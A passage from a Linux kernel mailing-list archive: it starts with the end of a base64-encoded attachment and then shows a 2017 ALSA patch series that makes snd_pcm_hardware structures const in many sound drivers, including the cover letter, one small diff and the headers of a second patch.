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
n98ejh/7yjikoyCt8khF971kHv8DIruOZPYoAQA=

--+HP7ph2BbKc20aGI--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 00/12] ALSA: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:48 +0530
Lines: 54
Approved: news@gmane.org
Message-ID: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961392 22417 195.159.176.226 (17 Aug 2017 09:16:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:16:32 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 11:16:27 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diGue-0003z4-ED
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 11:16:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750993AbdHQJQb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 05:16:31 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:35227 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750755AbdHQJQ3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 05:16:29 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id t80so2786633pgb.2;
        Thu, 17 Aug 2017 02:16:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=YRaP6Z10vesceIeFOMeViJJsJZdZaAMGrnYrbW28KEM=;
        b=pv4r6cXaBc/xEV1TY6ER67ZDv2SWqbNZEHyT1oAMF91pE0UrL+XRuRcclaT8jCSzI0
         otv33NUvd4fOqfnInfyaNM5vjH3T3q8UZwhqwibpqNlqhaugHYiXsoJRZNPRnej0LibR
         k/EmEeuDQnC2CrSvjTwIaeBa/0HLv812sWYSR8EkbjjmHt7XMgMur7cYcxlRhiKqd67N
         ARxnx9XFQMTAwMHQsjuPlsvj9fuYgStf69XPJnVbq20YC9qwQF8B2e9bUFcWP/gAfFt5
         vEtuokGYOkDekaui5to6b8uFDKcRhKAPZLoKrVsuC8kZ3X/zrx3RvgPPvA06eMh2U3B/
         emfw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=YRaP6Z10vesceIeFOMeViJJsJZdZaAMGrnYrbW28KEM=;
        b=A0Sp32WXSJegopJWJl2PxejuB3Q7GRuhOGYx6YqSBuUOhrPT9FzilNscvucloWsyuB
         ptB32RjktTQNoUg67+NHkTJLlUkPfspWxKpKYyTjSHJfGpvYsyKAN1aF7YUwXqXo81NG
         iuh7sRHD9YO5qSl/vQjI+r6RI+Wn6pHa2lKj9qDFWiQZfZOAbz31ZGBeIiOXMMMrfnV3
         aIYsPBdctS923wQlsXmIg0Me9H8oKbCTPPFiR3sE2R9DDMsZnSPJ15dr12WKQs8v4W28
         x24HnjxxscZnBOVWRq9yxiersPybS+FAV+J0WLZpJUp0LI2YCipJ9I/8NxzKWUS0CYj3
         bQFw==
X-Gm-Message-State: AHYfb5jM/mulfNKuECNc42qiH+Bu5pJiBxKIa2vXTeKtUlqoD+fooG1M
        jRCFGrZgWFCNTQ==
X-Received: by 10.84.210.47 with SMTP id z44mr206492plh.142.1502961389196;
        Thu, 17 Aug 2017 02:16:29 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id l2sm4963332pgc.27.2017.08.17.02.16.23
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:16:28 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:46:20 +0530
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27679 gmane.linux.alsa.devel:170778 gmane.linux.kernel:2550883 gmane.linux.ports.ppc64.devel:146495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27679>

Make these const.

Bhumika Goyal (12):
  ALSA: arm: make snd_pcm_hardware const
  ALSA: atmel: make snd_pcm_hardware const
  ALSA: drivers: make snd_pcm_hardware const
  ALSA: isa: make snd_pcm_hardware const
  ALSA: mips: make snd_pcm_hardware const
  ALSA: pci: make snd_pcm_hardware const
  ALSA: pcmcia: make snd_pcm_hardware const
  ALSA: ppc: make snd_pcm_hardware const
  ALSA: sh: make snd_pcm_hardware const
  ALSA: sparc: make snd_pcm_hardware const
  ALSA: usb: make snd_pcm_hardware const
  ALSA: parisc: make snd_pcm_hardware const

 sound/arm/aaci.c                       | 2 +-
 sound/atmel/ac97c.c                    | 2 +-
 sound/drivers/aloop.c                  | 2 +-
 sound/drivers/dummy.c                  | 2 +-
 sound/drivers/ml403-ac97cr.c           | 4 ++--
 sound/drivers/pcsp/pcsp_lib.c          | 2 +-
 sound/drivers/vx/vx_pcm.c              | 4 ++--
 sound/isa/ad1816a/ad1816a_lib.c        | 4 ++--
 sound/isa/es1688/es1688_lib.c          | 4 ++--
 sound/isa/es18xx.c                     | 4 ++--
 sound/isa/gus/gus_pcm.c                | 4 ++--
 sound/isa/msnd/msnd.c                  | 4 ++--
 sound/isa/sb/emu8000_pcm.c             | 2 +-
 sound/isa/sb/sb16_main.c               | 4 ++--
 sound/isa/sb/sb8_main.c                | 4 ++--
 sound/isa/wss/wss_lib.c                | 4 ++--
 sound/mips/hal2.c                      | 2 +-
 sound/mips/sgio2audio.c                | 2 +-
 sound/parisc/harmony.c                 | 4 ++--
 sound/pci/au88x0/au88x0_pcm.c          | 8 ++++----
 sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c | 2 +-
 sound/ppc/pmac.c                       | 4 ++--
 sound/sh/aica.c                        | 2 +-
 sound/sh/sh_dac_audio.c                | 2 +-
 sound/sparc/amd7930.c                  | 2 +-
 sound/sparc/cs4231.c                   | 4 ++--
 sound/sparc/dbri.c                     | 2 +-
 sound/usb/pcm.c                        | 2 +-
 28 files changed, 44 insertions(+), 44 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 01/12] ALSA: arm: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:49 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502961360-22063-2-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961411 25738 195.159.176.226 (17 Aug 2017 09:16:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:16:51 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:16:47 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGup-0005d0-Fl
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:16:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751861AbdHQJQl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:16:41 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:36533 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751711AbdHQJQi (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:16:38 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id y129so8925083pgy.3;
        Thu, 17 Aug 2017 02:16:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hyI+ieO1vWxrefWBvumBAlC/wCibsDGypUyHaLYIcCY=;
        b=jtrfeAm30Bt+M+2EFkfg5dhAdYPjBqDoNJ1Kzk2LzIUKWliCnr5kRHfKVbn0WMDSag
         GqoDIQSiB9sAl07w5nlhGSmHZ/SAgpARt7tjPHfE+dITL0gSSEc9uP5bxPx4UMPUi1zx
         64l1Y3KUgYuQiyN0qCda71tN0XIysxHDuaGSG6rItlThtagVn5UjrAitq+Kj7IyhdOlR
         9yzo84cKsTqzqGD87fGnCmmPUzOIcV6rT+rvFLfm/AvTCRG7hoiwV+4GBmLELgh5xn+/
         lbVyPNkR2WfxQIQI+CyJkh8nsbYZEnn4KQ+c8TacZXz671MWfdafH3ahE9NqHsiIkU1k
         ueoQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=hyI+ieO1vWxrefWBvumBAlC/wCibsDGypUyHaLYIcCY=;
        b=EBhZmwNDY769XMHb11UOAiv0MsJvQujylGy8eRWyAjmWIwQMCLE5XigYOQbXRR1jrc
         ktcK/v76QKUNqeBIpWqCnKngZu8YMY7Xx1qKfZ12j/HuwB/FHuMHAjES6wfWlgbPJsyK
         g/8y5J6ZKxSsL/ajf4recV0iCu8mxGTgTaQgEaPMcKksGdyoNXJw0CmkYwqlSqg8GOMG
         fmpA4r8c8dRDy2Z9SBDwlKRt9COtb/Nd4enXP9n1Me8iH9EVi8mlwcq9kUGAlHGIVr6A
         uR3GjbANenak6xhtvrs1PzpeFCnGK4Rv2GaKUymMvFGEeBZjcrDMfEvwHfLm/DkIYkHB
         LQGA==
X-Gm-Message-State: AHYfb5jDqseYbGrQuYhSORJC8jdqhLbStoIbLG/CggF+8JkmedwTrTB6
        Pc3fYM0xMHwQtA==
X-Received: by 10.98.129.197 with SMTP id t188mr4472308pfd.318.1502961397932;
        Thu, 17 Aug 2017 02:16:37 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id r25sm5568192pgu.7.2017.08.17.02.16.32
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:16:37 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:46:29 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550884 gmane.linux.alsa.devel:170779 gmane.linux.ports.parisc:27680 gmane.linux.ports.ppc64.devel:146496
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550884>

Make this const as it is only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/arm/aaci.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
index 4140b1b..74cf452 100644
--- a/sound/arm/aaci.c
+++ b/sound/arm/aaci.c
@@ -348,7 +348,7 @@ static irqreturn_t aaci_irq(int irq, void *devid)
 /*
  * ALSA support.
  */
-static struct snd_pcm_hardware aaci_hw_info = {
+static const struct snd_pcm_hardware aaci_hw_info = {
 	.info			= SNDRV_PCM_INFO_MMAP |
 				  SNDRV_PCM_INFO_MMAP_VALID |
 				  SNDRV_PCM_INFO_INTERLEAVED |
-- 
1.9.1



From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 02/12] ALSA: atmel: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:50 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502961360-22063-3-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961415 26559 195.159.176.226 (17 Aug 2017 09:16:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:16:55 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:16:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGuy-0006LT-At
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:16:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752092AbdHQJQs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:16:48 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:33980 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750939AbdHQJQq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:16:46 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id y192so8930109pgd.1;
        Thu, 17 Aug 2017 02:16:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=sYutzVa4eUboYUVvpLWRbMKv7xQsw37fBtNUdVOXKik=;
        b=pOW3uN9mkKeP/2cZSK0Tv8riAym7lhYV2/qEw1RniO/zN1wxN97xgCD2tU/efLGBVK
         ikOGcb4zZqXGkfuueBicDjds6/gvTwpZ3wtXrinKf4saNJnCAMLc83ZmNRHdmdK0jw4J
         qdfQ0prJ/5yAXMYmyCaQ0caclh3aWaic57YcL0IFwT1CiA8Y8mUi/9TrDGvVtU3nYKwW
         NjitTcOC9YMEsGtQ4nbaU8IPHO/2gYose4zu8co06bX6+DL4hrzMqb6iXrSE/9CERRWE
         Q79pjdVLEGY2leCYiLvMc6F37vtPB4bwbGRN7H74oemareqei/ajBBvcl+TrRAtfjrJx
         sgAA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=sYutzVa4eUboYUVvpLWRbMKv7xQsw37fBtNUdVOXKik=;
        b=RHzsZjCPyx/P+piNamdA1IU/Z5bsVTSDoaBLxs+CGR49VGvoMPkqT8oVO9IcPJISDo
         58NyKfE9A6GhpZO+dmKclMdj3Jf8+BN0rW5am114AICZFDMARtwIwhhZwq2osZYZqFVd
         UGb4y/n4rv+KswMsRHQRscJmPGVO37nCAL1xumfJkpvOzKdCPDGlHca3I0ok6/KiA+Ou
         0tyqmteOIbb/ILX87xpu4ZJuCABr04CkyrSSuOk5FTtFjJiNAyqcPMfXL4zFyDAuI2VV
         d2LsZABc3iMUkszemNpDABIFkJ7hg7dwQvqHp+i+6SKkethRwUZw57uVcXsWnjYlnUmt
         Xqhw==
X-Gm-Message-State: AHYfb5hO4PtkyB+DPRnb9JYjA7ovEpeGotZLqlaqH6aZ86+iPEjbTNny
        Bfp5DqD9Ahi6tA==
X-Received: by 10.98.62.197 with SMTP id y66mr4511792pfj.270.1502961406307;
        Thu, 17 Aug 2017 02:16:46 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
